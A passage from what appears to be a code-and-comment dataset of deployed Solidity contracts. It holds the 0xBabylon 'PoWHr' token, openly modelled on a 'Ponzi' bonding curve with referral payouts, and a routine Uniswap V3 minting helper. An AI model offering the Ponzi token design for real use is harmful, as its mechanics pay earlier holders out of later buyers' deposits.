the contract? uint256 reserveAmount = reserve(); // If you're the Highlander (or bagholder), you get The Prize. Everything left in the vault. if (tokens == totalBondSupply ) return reserveAmount; // If there would be excess Ether left after the transaction this is called within, return the Ether // corresponding to the equation in Dr Jochen Hoenicke's original Ponzi paper, which can be found // at https://test.jochen-hoenicke.de/eth/ponzitoken/ in the third equation, with the CRR numerator // and denominator altered to 1 and 2 respectively. return reserveAmount - fixedExp((fixedLog(totalBondSupply - tokens) - price_coeff) * crr_d/crr_n); } function () payable public { if (msg.value > 0) { fund(lastGateway,msg.sender); } else { withdraw(msg.sender); } } address public resolver = this; uint256 public totalSupply; uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; string public name = "0xBabylon"; uint8 public decimals = 18; string public symbol = "PoWHr"; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Resolved(address indexed _owner, uint256 amount); function mint(uint256 amount,address _account) internal returns (uint minted){ totalSupply += amount; balances[_account] += amount; emit Resolved(_account,amount); return amount; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function calcResolve(address _owner,uint256 amount,uint256 _eth) public constant returns (uint256 calculatedResolveTokens) { return amount*amount*avgFactor_ethSpent[_owner]/holdings[_owner]/_eth/1000000; } function transfer(address _to, uint256 _value) public returns (bool success) { require( balanceOf(msg.sender) >= _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success){ uint256 allowance = allowed[_from][msg.sender]; require( balanceOf(_from) >= _value && allowance >= _value ); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function resolveSupply() public view returns (uint256 balance) { return totalSupply; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } // You don't care about these, but if you really do they're hex values for // co-efficients used to simulate approximations of the log and exp functions. int256 constant one = 0x10000000000000000; uint256 constant sqrt2 = 0x16a09e667f3bcc908; uint256 constant sqrtdot5 = 0x0b504f333f9de6484; int256 constant ln2 = 0x0b17217f7d1cf79ac; int256 constant ln2_64dot5 = 0x2cb53f09f05cc627c8; int256 constant c1 = 0x1ffffffffff9dac9b; int256 constant c3 = 0x0aaaaaaac16877908; int256 constant c5 = 0x0666664e5e9fa0c99; int256 constant c7 = 0x049254026a7630acf; int256 constant c9 = 0x038bd75ed37753d68; int256 constant c11 = 0x03284a0c14610924f; // The polynomial R = c1*x + c3*x^3 + ... + c11 * x^11 // approximates the function log(1+x)-log(1-x) // Hence R(s) = log((1+s)/(1-s)) = log(a) function fixedLog(uint256 a) internal pure returns (int256 log) { int32 scale = 0; while (a > sqrt2) { a /= 2; scale++; } while (a <= sqrtdot5) { a *= 2; scale--; } int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one); int256 z = (s*s) / one; return scale * ln2 + (s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one)) /one))/one))/one))/one))/one); } int256 constant c2 = 0x02aaaaaaaaa015db0; int256 constant c4 = -0x000b60b60808399d1; int256 constant c6 = 0x0000455956bccdd06; int256 constant c8 = -0x000001b893ad04b3a; // The polynomial R = 2 + c2*x^2 + c4*x^4 + ... // approximates the function x*(exp(x)+1)/(exp(x)-1) // Hence exp(x) = (R(x)+x)/(R(x)-x) function fixedExp(int256 a) internal pure returns (uint256 exp) { int256 scale = (a + (ln2_64dot5)) / ln2 - 64; a -= scale*ln2; int256 z = (a*a) / one; int256 R = ((int256)(2) * one) + (z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one); exp = (uint256) (((R + a) * one) / (R - a)); if (scale >= 0) exp <<= scale; else exp >>= -scale; return exp; } }
fixedLog
function fixedLog(uint256 a) internal pure returns (int256 log) { int32 scale = 0; while (a > sqrt2) { a /= 2; scale++; } while (a <= sqrtdot5) { a *= 2; scale--; } int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one); int256 z = (s*s) / one; return scale * ln2 + (s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one)) /one))/one))/one))/one))/one); }
// The polynomial R = c1*x + c3*x^3 + ... + c11 * x^11 // approximates the function log(1+x)-log(1-x) // Hence R(s) = log((1+s)/(1-s)) = log(a)
LineComment
v0.4.23+commit.124ca40d
bzzr://7198588a41e5647c95e24bfcadd4c4b44b6158c86b361679b761c040298da277
{ "func_code_index": [ 27574, 27989 ] }
1,491
_0xBabylon
_0xBabylon.sol
0x19080df0360ce52b1068d54e1769182d9cc2b218
Solidity
_0xBabylon
contract _0xBabylon{ // scaleFactor is used to convert Ether into tokens and vice-versa: they're of different // orders of magnitude, hence the need to bridge between the two. uint256 constant scaleFactor = 0x10000000000000000;// 2^64 int constant crr_n = 3;//CRR numerator int constant crr_d = 5;//CRR denominator uint256 constant fee_premine = 30;//Fee Premine. So that the first buyer isn't a black hole int constant price_coeff = 0x44fa9cf152cd34a98; // Array between each address and their number of tokens. mapping(address => uint256) public holdings; //cut down by a percentage when you sell out. mapping(address => uint256) public avgFactor_ethSpent; mapping(address => uint256) public color_R; mapping(address => uint256) public color_G; mapping(address => uint256) public color_B; // Array between each address and how much Ether has been paid out to it. // Note that this is scaled by the scaleFactor variable. mapping(address => address) public reff; mapping(address => uint256) public tricklingPass; mapping(address => uint256) public pocket; mapping(address => int256) public payouts; // Variable tracking how many tokens are in existence overall. uint256 public totalBondSupply; // Aggregate sum of all payouts. // Note that this is scaled by the scaleFactor variable. int256 totalPayouts; uint256 public trickleSum; uint256 public stakingRequirement = 1e18; address public lastGateway; uint256 constant trickTax = 3; //divides flux'd fee and for every pass up //flux fee ratio and contract score keepers uint256 public withdrawSum; uint256 public investSum; // Variable tracking how much Ether each token is currently worth. // Note that this is scaled by the scaleFactor variable. uint256 earningsPerBond; event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onBoughtFor( address indexed buyerAddress, address indexed forWho, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onReinvestFor( address indexed buyerAddress, address indexed forWho, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onTokenSell( address indexed customerAddress, uint256 totalTokensAtTheTime,//maybe it'd be cool to see what % people are selling from their total bank uint256 tokensBurned, uint256 ethereumEarned, uint256 resolved, address indexed gateway ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted, address indexed gateway ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event onCashDividends( address indexed ownerAddress, address indexed receiverAddress, uint256 ethereumWithdrawn ); event onColor( address indexed customerAddress, uint256 oldR, uint256 oldG, uint256 oldB, uint256 newR, uint256 newG, uint256 newB ); event onTrickle( address indexed fromWho, address indexed finalReff, uint256 reward, uint256 passUp ); // The following functions are used by the front-end for display purposes. // Returns the number of tokens currently held by _owner. function holdingsOf(address _owner) public constant returns (uint256 balance) { return holdings[_owner]; } // Withdraws all dividends held by the caller sending the transaction, updates // the requisite global variables, and transfers Ether back to the caller. function withdraw(address to) public { if(to == 0x0000000000000000000000000000000000000000 ){ to = msg.sender; } trickleUp(msg.sender); // Retrieve the dividends associated with the address the request came from. uint256 balance = dividends(msg.sender); //uint256 pocketBalance = tricklePocket[msg.sender]; //tricklePocket[msg.sender] = 0; // Update the payouts array, incrementing the request address by `balance`. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); uint256 pocketETH = pocket[msg.sender]; pocket[msg.sender] = 0; trickleSum -= pocketETH; balance += pocketETH; // Send the dividends to the address that requested the withdraw. withdrawSum += balance; to.transfer(balance); emit onCashDividends(msg.sender,to,balance); } function fullCycleSellBonds(uint256 balance) internal { // Send the cashed out stake to the address that requested the withdraw. withdrawSum += balance; msg.sender.transfer(balance); emit onWithdraw(msg.sender, balance); } // Sells your tokens for Ether. This Ether is assigned to the callers entry // in the tokenBalance array, and therefore is shown as a dividend. A second // call to withdraw() must be made to invoke the transfer of Ether back to your address. function sellBonds(uint256 _amount) public { uint256 bondBalance = holdings[msg.sender]; if(_amount <= bondBalance && _amount > 0){ sell(_amount); }else{ sell(bondBalance); } } // The slam-the-button escape hatch. Sells the callers tokens for Ether, then immediately // invokes the withdraw() function, sending the resulting Ether to the callers address. function getMeOutOfHere() public { sellBonds( holdings[msg.sender] ); withdraw(msg.sender); } function reffUp(address _reff) internal{ address sender = msg.sender; if (_reff == 0x0000000000000000000000000000000000000000 || _reff == msg.sender){ _reff = reff[sender]; } if( holdings[_reff] < stakingRequirement ){//if req not met if(lastGateway == 0x0000000000000000000000000000000000000000){ lastGateway = sender;//first buyer ever _reff = sender;//first buyer is their own gateway/masternode //initialize fee pre-mine investSum = msg.value * fee_premine; withdrawSum = msg.value * fee_premine; } else _reff = lastGateway;//the lucky last player gets to be the gate way. } reff[sender] = _reff; } function rgbLimit(uint256 _rgb)internal pure returns(uint256){ if(_rgb > 255) return 255; else return _rgb; } //BONUS //when you don't pick a color, the contract will need a default. which will be your current color function edgePigment(uint8 C)internal view returns (uint256 x) { uint256 holding = holdings[msg.sender]; if(holding==0) return 0; else{ if(C==0){ return 255 * color_R[msg.sender]/holding; }else if(C==1){ return 255 * color_G[msg.sender]/holding; }else if(C==2){ return 255 * color_B[msg.sender]/holding; } } } function fund(address reffo, address forWho) payable public { fund_color( reffo, forWho, edgePigment(0),edgePigment(1),edgePigment(2) ); } function fund_color( address _reff, address forWho,uint256 cR,uint256 cG,uint256 cB) payable public { // Don't allow for funding if the amount of Ether sent is less than 1 szabo. reffUp(_reff); if (msg.value > 0.000001 ether){ investSum += msg.value; cR=rgbLimit(cR); cG=rgbLimit(cG); cB=rgbLimit(cB); buy( forWho ,cR,cG,cB); lastGateway = msg.sender; } else { revert(); } } function reinvest_color(address forWho,uint256 cR,uint256 cG,uint256 cB) public { cR=rgbLimit(cR); cG=rgbLimit(cG); cB=rgbLimit(cB); processReinvest( forWho, cR,cG,cB); } function reinvest(address forWho) public { processReinvest( forWho, edgePigment(0),edgePigment(1),edgePigment(2) ); } // Function that returns the (dynamic) price of a single token. function price(bool buyOrSell) public constant returns (uint) { if(buyOrSell){ return getTokensForEther(1 finney); }else{ uint256 eth = getEtherForTokens(1 finney); uint256 fee = fluxFeed(eth, false, false); return eth - fee; } } function fluxFeed(uint256 _eth, bool slim_reinvest,bool newETH) public constant returns (uint256 amount) { uint256 finalInvestSum; if(newETH) finalInvestSum = investSum-_eth;//bigger buy bonus else finalInvestSum = investSum; uint256 contract_ETH = finalInvestSum - withdrawSum; if(slim_reinvest){//trickleSum can never be 0, trust me return _eth/(contract_ETH/trickleSum) * contract_ETH /investSum; }else{ return _eth * contract_ETH / investSum; } /* Fee 100eth IN & 100eth OUT = 0% tax fee (returning 1) 100eth IN & 50eth OUT = 50% tax fee (returning 2) 100eth IN & 33eth OUT = 66% tax fee (returning 3) 100eth IN & 25eth OUT = 75% tax fee (returning 4) 100eth IN & 10eth OUT = 90% tax fee (returning 10) */ } // Calculate the current dividends associated with the caller address. This is the net result // of multiplying the number of tokens held by their current value in Ether and subtracting the // Ether that has already been paid out. function dividends(address _owner) public constant returns (uint256 amount) { return (uint256) ((int256)( earningsPerBond * holdings[_owner] ) - payouts[_owner] ) / scaleFactor; } // Internal balance function, used to calculate the dynamic reserve value. function contractBalance() internal constant returns (uint256 amount){ // msg.value is the amount of Ether sent by the transaction. return investSum - withdrawSum - msg.value - trickleSum; } function trickleUp(address fromWho) internal{//you can trickle up other people by giving them some. uint256 tricks = tricklingPass[ fromWho ];//this is the amount moving in the trickle flo if(tricks > 0){ tricklingPass[ fromWho ] = 0;//we've already captured the amount so set your tricklingPass flo to 0 uint256 passUp = tricks * (investSum - withdrawSum)/investSum;//to get the amount we're gonna pass up. divide by trickTax uint256 reward = tricks-passUp;//and our remaining reward for ourselves is the amount we just slice off subtracted from the flo address finalReff;//we're not exactly sure who we're gonna pass this up to yet address reffo = reff[ fromWho ];//this is who it should go up to. if everything is legit if( holdings[reffo] >= stakingRequirement){ finalReff = reffo;//if that address is holding enough to stake, it's a legit node to flo up to. }else{ finalReff = lastGateway;//if not, then we use the last buyer } tricklingPass[ finalReff ] += passUp;//so now we add that flo you've passed up to the tricklingPass of the final Reff pocket[ finalReff ] += reward;// Reward emit onTrickle(fromWho, finalReff, reward, passUp); } } function buy(address forWho,uint256 cR,uint256 cG,uint256 cB) internal { // Any transaction of less than 1 szabo is likely to be worth less than the gas used to send it. if (msg.value < 0.000001 ether || msg.value > 1000000 ether) revert(); //Fee to pay existing holders, and the referral commission uint256 fee = 0; uint256 trickle = 0; if(holdings[forWho] != totalBondSupply){ fee = fluxFeed(msg.value,false,true); trickle = fee/trickTax; fee = fee - trickle; tricklingPass[forWho] += trickle; } uint256 numEther = msg.value - (fee+trickle);// The amount of Ether used to purchase new tokens for the caller. uint256 numTokens = 0; if(numEther > 0){ numTokens = getTokensForEther(numEther);// The number of tokens which can be purchased for numEther. buyCalcAndPayout( forWho, fee, numTokens, numEther, reserve() ); addPigment(forWho, numTokens,cR,cG,cB); } if(forWho != msg.sender){//make sure you're not yourself //if forWho doesn't have a reff or if that masternode is weak, then reset it if(reff[forWho] == 0x0000000000000000000000000000000000000000 || (holdings[reff[forWho]] < stakingRequirement) ) reff[forWho] = msg.sender; emit onBoughtFor(msg.sender, forWho, numEther, numTokens, reff[forWho] ); }else{ emit onTokenPurchase(forWho, numEther ,numTokens , reff[forWho] ); } trickleSum += trickle;//add to trickle's Sum after reserve calculations trickleUp(forWho); } function buyCalcAndPayout(address forWho,uint256 fee,uint256 numTokens,uint256 numEther,uint256 res)internal{ // The buyer fee, scaled by the scaleFactor variable. uint256 buyerFee = fee * scaleFactor; if (totalBondSupply > 0){// because ... // Compute the bonus co-efficient for all existing holders and the buyer. // The buyer receives part of the distribution for each token bought in the // same way they would have if they bought each token individually. uint256 bonusCoEff = (scaleFactor - (res + numEther) * numTokens * scaleFactor / ( totalBondSupply + numTokens) / numEther) *(uint)(crr_d) / (uint)(crr_d-crr_n); // The total reward to be distributed amongst the masses is the fee (in Ether) // multiplied by the bonus co-efficient. uint256 holderReward = fee * bonusCoEff; buyerFee -= holderReward; // The Ether value per token is increased proportionally. earningsPerBond += holderReward / totalBondSupply; } //resolve reward tracking stuff avgFactor_ethSpent[forWho] += numEther; // Add the numTokens which were just created to the total supply. We're a crypto central bank! totalBondSupply += numTokens; // Assign the tokens to the balance of the buyer. holdings[forWho] += numTokens; // Update the payout array so that the buyer cannot claim dividends on previous purchases. // Also include the fee paid for entering the scheme. // First we compute how much was just paid out to the buyer... int256 payoutDiff = (int256) ((earningsPerBond * numTokens) - buyerFee); // Then we update the payouts array for the buyer with this amount... payouts[forWho] += payoutDiff; // And then we finally add it to the variable tracking the total amount spent to maintain invariance. totalPayouts += payoutDiff; } // Sell function that takes tokens and converts them into Ether. Also comes with a 10% fee // to discouraging dumping, and means that if someone near the top sells, the fee distributed // will be *significant*. function TOKEN_scaleDown(uint256 value,uint256 reduce) internal view returns(uint256 x){ uint256 holdingsOfSender = holdings[msg.sender]; return value * ( holdingsOfSender - reduce) / holdingsOfSender; } function sell(uint256 amount) internal { uint256 numEthersBeforeFee = getEtherForTokens(amount); // x% of the resulting Ether is used to pay remaining holders. uint256 fee = 0; uint256 trickle = 0; if(totalBondSupply != holdings[msg.sender]){ fee = fluxFeed(numEthersBeforeFee, false,false); trickle = fee/ trickTax; fee -= trickle; tricklingPass[msg.sender] +=trickle; } // Net Ether for the seller after the fee has been subtracted. uint256 numEthers = numEthersBeforeFee - (fee+trickle); //How much you bought it for divided by how much you're getting back. //This means that if you get dumped on, you can get more resolve tokens if you sell out. uint256 resolved = mint( calcResolve(msg.sender,amount,numEthersBeforeFee), msg.sender ); // *Remove* the numTokens which were just sold from the total supply. avgFactor_ethSpent[msg.sender] = TOKEN_scaleDown(avgFactor_ethSpent[msg.sender] , amount); color_R[msg.sender] = TOKEN_scaleDown(color_R[msg.sender] , amount); color_G[msg.sender] = TOKEN_scaleDown(color_G[msg.sender] , amount); color_B[msg.sender] = TOKEN_scaleDown(color_B[msg.sender] , amount); totalBondSupply -= amount; // Remove the tokens from the balance of the buyer. holdings[msg.sender] -= amount; int256 payoutDiff = (int256) (earningsPerBond * amount);//we don't add in numETH because it is immedietly paid out. // We reduce the amount paid out to the seller (this effectively resets their payouts value to zero, // since they're selling all of their tokens). This makes sure the seller isn't disadvantaged if // they decide to buy back in. payouts[msg.sender] -= payoutDiff; // Decrease the total amount that's been paid out to maintain invariance. totalPayouts -= payoutDiff; // Check that we have tokens in existence (this is a bit of an irrelevant check since we're // selling tokens, but it guards against division by zero). if (totalBondSupply > 0) { // Scale the Ether taken as the selling fee by the scaleFactor variable. uint256 etherFee = fee * scaleFactor; // Fee is distributed to all remaining token holders. // rewardPerShare is the amount gained per token thanks to this sell. uint256 rewardPerShare = etherFee / totalBondSupply; // The Ether value per token is increased proportionally. earningsPerBond += rewardPerShare; } fullCycleSellBonds(numEthers); trickleSum += trickle; trickleUp(msg.sender); emit onTokenSell(msg.sender,holdings[msg.sender]+amount,amount,numEthers,resolved,reff[msg.sender]); } // Converts the Ether accrued as dividends back into Staking tokens without having to // withdraw it first. Saves on gas and potential price spike loss. function processReinvest(address forWho,uint256 cR,uint256 cG,uint256 cB) internal{ // Retrieve the dividends associated with the address the request came from. uint256 balance = dividends(msg.sender); // Update the payouts array, incrementing the request address by `balance`. // Since this is essentially a shortcut to withdrawing and reinvesting, this step still holds. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); // Assign balance to a new variable. uint256 pocketETH = pocket[msg.sender]; uint value_ = (uint) (balance + pocketETH); pocket[msg.sender] = 0; // If your dividends are worth less than 1 szabo, or more than a million Ether // (in which case, why are you even here), abort. if (value_ < 0.000001 ether || value_ > 1000000 ether) revert(); uint256 fee = 0; uint256 trickle = 0; if(holdings[forWho] != totalBondSupply){ fee = fluxFeed(value_, true,false );// reinvestment fees are lower than regular ones. trickle = fee/ trickTax; fee = fee - trickle; tricklingPass[forWho] += trickle; } // A temporary reserve variable used for calculating the reward the holder gets for buying tokens. // (Yes, the buyer receives a part of the distribution as well!) uint256 res = reserve() - balance; // The amount of Ether used to purchase new tokens for the caller. uint256 numEther = value_ - (fee+trickle); // The number of tokens which can be purchased for numEther. uint256 numTokens = calculateDividendTokens(numEther, balance); buyCalcAndPayout( forWho, fee, numTokens, numEther, res ); addPigment(forWho, numTokens,cR,cG,cB); if(forWho != msg.sender){//make sure you're not yourself //if forWho doesn't have a reff, then reset it address reffOfWho = reff[forWho]; if(reffOfWho == 0x0000000000000000000000000000000000000000 || (holdings[reffOfWho] < stakingRequirement) ) reff[forWho] = msg.sender; emit onReinvestFor(msg.sender,forWho,numEther,numTokens,reff[forWho]); }else{ emit onReinvestment(forWho,numEther,numTokens,reff[forWho]); } trickleUp(forWho); trickleSum += trickle - pocketETH; } function addPigment(address forWho, uint256 tokens,uint256 r,uint256 g,uint256 b) internal{ color_R[forWho] += tokens * r / 255; color_G[forWho] += tokens * g / 255; color_B[forWho] += tokens * b / 255; emit onColor(forWho,r,g,b,color_R[forWho] ,color_G[forWho] ,color_B[forWho] ); } // Dynamic value of Ether in reserve, according to the CRR requirement. function reserve() internal constant returns (uint256 amount){ return contractBalance()-((uint256) ((int256) (earningsPerBond * totalBondSupply) - totalPayouts ) / scaleFactor); } // Calculates the number of tokens that can be bought for a given amount of Ether, according to the // dynamic reserve and totalSupply values (derived from the buy and sell prices). function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) { return fixedExp(fixedLog(reserve() + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply ; } // Semantically similar to getTokensForEther, but subtracts the callers balance from the amount of Ether returned for conversion. function calculateDividendTokens(uint256 ethervalue, uint256 subvalue) public constant returns (uint256 tokens) { return fixedExp(fixedLog(reserve() - subvalue + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply; } // Converts a number tokens into an Ether value. function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) { // How much reserve Ether do we have left in the contract? uint256 reserveAmount = reserve(); // If you're the Highlander (or bagholder), you get The Prize. Everything left in the vault. if (tokens == totalBondSupply ) return reserveAmount; // If there would be excess Ether left after the transaction this is called within, return the Ether // corresponding to the equation in Dr Jochen Hoenicke's original Ponzi paper, which can be found // at https://test.jochen-hoenicke.de/eth/ponzitoken/ in the third equation, with the CRR numerator // and denominator altered to 1 and 2 respectively. return reserveAmount - fixedExp((fixedLog(totalBondSupply - tokens) - price_coeff) * crr_d/crr_n); } function () payable public { if (msg.value > 0) { fund(lastGateway,msg.sender); } else { withdraw(msg.sender); } } address public resolver = this; uint256 public totalSupply; uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; string public name = "0xBabylon"; uint8 public decimals = 18; string public symbol = "PoWHr"; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Resolved(address indexed _owner, uint256 amount); function mint(uint256 amount,address _account) internal returns (uint minted){ totalSupply += amount; balances[_account] += amount; emit Resolved(_account,amount); return amount; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function calcResolve(address _owner,uint256 amount,uint256 _eth) public constant returns (uint256 calculatedResolveTokens) { return amount*amount*avgFactor_ethSpent[_owner]/holdings[_owner]/_eth/1000000; } function transfer(address _to, uint256 _value) public returns (bool success) { require( balanceOf(msg.sender) >= _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success){ uint256 allowance = allowed[_from][msg.sender]; require( balanceOf(_from) >= _value && allowance >= _value ); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function resolveSupply() public view returns (uint256 balance) { return totalSupply; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } // You don't care about these, but if you really do they're hex values for // co-efficients used to simulate approximations of the log and exp functions. int256 constant one = 0x10000000000000000; uint256 constant sqrt2 = 0x16a09e667f3bcc908; uint256 constant sqrtdot5 = 0x0b504f333f9de6484; int256 constant ln2 = 0x0b17217f7d1cf79ac; int256 constant ln2_64dot5 = 0x2cb53f09f05cc627c8; int256 constant c1 = 0x1ffffffffff9dac9b; int256 constant c3 = 0x0aaaaaaac16877908; int256 constant c5 = 0x0666664e5e9fa0c99; int256 constant c7 = 0x049254026a7630acf; int256 constant c9 = 0x038bd75ed37753d68; int256 constant c11 = 0x03284a0c14610924f; // The polynomial R = c1*x + c3*x^3 + ... + c11 * x^11 // approximates the function log(1+x)-log(1-x) // Hence R(s) = log((1+s)/(1-s)) = log(a) function fixedLog(uint256 a) internal pure returns (int256 log) { int32 scale = 0; while (a > sqrt2) { a /= 2; scale++; } while (a <= sqrtdot5) { a *= 2; scale--; } int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one); int256 z = (s*s) / one; return scale * ln2 + (s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one)) /one))/one))/one))/one))/one); } int256 constant c2 = 0x02aaaaaaaaa015db0; int256 constant c4 = -0x000b60b60808399d1; int256 constant c6 = 0x0000455956bccdd06; int256 constant c8 = -0x000001b893ad04b3a; // The polynomial R = 2 + c2*x^2 + c4*x^4 + ... // approximates the function x*(exp(x)+1)/(exp(x)-1) // Hence exp(x) = (R(x)+x)/(R(x)-x) function fixedExp(int256 a) internal pure returns (uint256 exp) { int256 scale = (a + (ln2_64dot5)) / ln2 - 64; a -= scale*ln2; int256 z = (a*a) / one; int256 R = ((int256)(2) * one) + (z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one); exp = (uint256) (((R + a) * one) / (R - a)); if (scale >= 0) exp <<= scale; else exp >>= -scale; return exp; } }
fixedExp
function fixedExp(int256 a) internal pure returns (uint256 exp) { int256 scale = (a + (ln2_64dot5)) / ln2 - 64; a -= scale*ln2; int256 z = (a*a) / one; int256 R = ((int256)(2) * one) + (z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one); exp = (uint256) (((R + a) * one) / (R - a)); if (scale >= 0) exp <<= scale; else exp >>= -scale; return exp; }
// The polynomial R = 2 + c2*x^2 + c4*x^4 + ... // approximates the function x*(exp(x)+1)/(exp(x)-1) // Hence exp(x) = (R(x)+x)/(R(x)-x)
LineComment
v0.4.23+commit.124ca40d
bzzr://7198588a41e5647c95e24bfcadd4c4b44b6158c86b361679b761c040298da277
{ "func_code_index": [ 28317, 28709 ] }
1,492
AloePoolCapped
contracts/UniswapMinter.sol
0x325441fdb3bd45a8093994303cf9b67f3689ac11
Solidity
UniswapMinter
contract UniswapMinter is IUniswapV3MintCallback { using SafeERC20 for IERC20; IUniswapV3Pool public immutable UNI_POOL; int24 public immutable TICK_SPACING; IERC20 public immutable TOKEN0; IERC20 public immutable TOKEN1; constructor(IUniswapV3Pool uniPool) { UNI_POOL = uniPool; TICK_SPACING = uniPool.tickSpacing(); TOKEN0 = IERC20(uniPool.token0()); TOKEN1 = IERC20(uniPool.token1()); } /// @dev Do zero-burns to poke the Uniswap pools so earned fees are updated function _uniswapPoke(int24 tickLower, int24 tickUpper) internal { (uint128 liquidity, , , , ) = _position(tickLower, tickUpper); if (liquidity == 0) return; UNI_POOL.burn(tickLower, tickUpper, 0); } /// @dev Deposits liquidity in a range on the Uniswap pool. function _uniswapEnter( int24 tickLower, int24 tickUpper, uint128 liquidity ) internal { if (liquidity == 0) return; UNI_POOL.mint(address(this), tickLower, tickUpper, liquidity, ""); } /// @dev Withdraws liquidity from a range and collects all fees in the process. function _uniswapExit( int24 tickLower, int24 tickUpper, uint128 liquidity ) internal returns ( uint256 burned0, uint256 burned1, uint256 earned0, uint256 earned1 ) { if (liquidity != 0) { (burned0, burned1) = UNI_POOL.burn(tickLower, tickUpper, liquidity); } // Collect all owed tokens including earned fees (uint256 collected0, uint256 collected1) = UNI_POOL.collect(address(this), tickLower, tickUpper, type(uint128).max, type(uint128).max); earned0 = collected0 - burned0; earned1 = collected1 - burned1; } /** * @notice Amounts of TOKEN0 and TOKEN1 held in vault's position. Includes * owed fees, except those accrued since last poke. */ function _collectableAmountsAsOfLastPoke(int24 tickLower, int24 tickUpper) public view returns (uint256, uint256) { (uint128 liquidity, , , uint128 earnable0, uint128 earnable1) = _position(tickLower, tickUpper); (uint256 burnable0, uint256 burnable1) = _amountsForLiquidity(tickLower, tickUpper, liquidity); return (burnable0 + earnable0, burnable1 + earnable1); } /// @dev Wrapper around `IUniswapV3Pool.positions()`. function _position(int24 tickLower, int24 tickUpper) internal view returns ( uint128, // liquidity uint256, // feeGrowthInside0LastX128 uint256, // feeGrowthInside1LastX128 uint128, // tokensOwed0 uint128 // tokensOwed1 ) { return UNI_POOL.positions(keccak256(abi.encodePacked(address(this), tickLower, tickUpper))); } /// @dev Wrapper around `LiquidityAmounts.getAmountsForLiquidity()`. function _amountsForLiquidity( int24 tickLower, int24 tickUpper, uint128 liquidity ) internal view returns (uint256, uint256) { (uint160 sqrtPriceX96, , , , , , ) = UNI_POOL.slot0(); return LiquidityAmounts.getAmountsForLiquidity( sqrtPriceX96, TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), liquidity ); } /// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmounts()`. function _liquidityForAmounts( int24 tickLower, int24 tickUpper, uint160 sqrtPriceX96, uint256 amount0, uint256 amount1 ) internal pure returns (uint128) { return LiquidityAmounts.getLiquidityForAmounts( sqrtPriceX96, TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), amount0, amount1 ); } /// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmount0()`. function _liquidityForAmount0( int24 tickLower, int24 tickUpper, uint256 amount0 ) internal pure returns (uint128) { return LiquidityAmounts.getLiquidityForAmount0( TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), amount0 ); } /// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmount1()`. function _liquidityForAmount1( int24 tickLower, int24 tickUpper, uint256 amount1 ) internal pure returns (uint128) { return LiquidityAmounts.getLiquidityForAmount1( TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), amount1 ); } /// @dev Callback for Uniswap V3 pool. function uniswapV3MintCallback( uint256 amount0, uint256 amount1, bytes calldata data ) external override { require(msg.sender == address(UNI_POOL), "Fake callback"); if (amount0 != 0) TOKEN0.safeTransfer(msg.sender, amount0); if (amount1 != 0) TOKEN1.safeTransfer(msg.sender, amount1); } }
_uniswapPoke
function _uniswapPoke(int24 tickLower, int24 tickUpper) internal { (uint128 liquidity, , , , ) = _position(tickLower, tickUpper); if (liquidity == 0) return; UNI_POOL.burn(tickLower, tickUpper, 0); }
/// @dev Do zero-burns to poke the Uniswap pools so earned fees are updated
NatSpecSingleLine
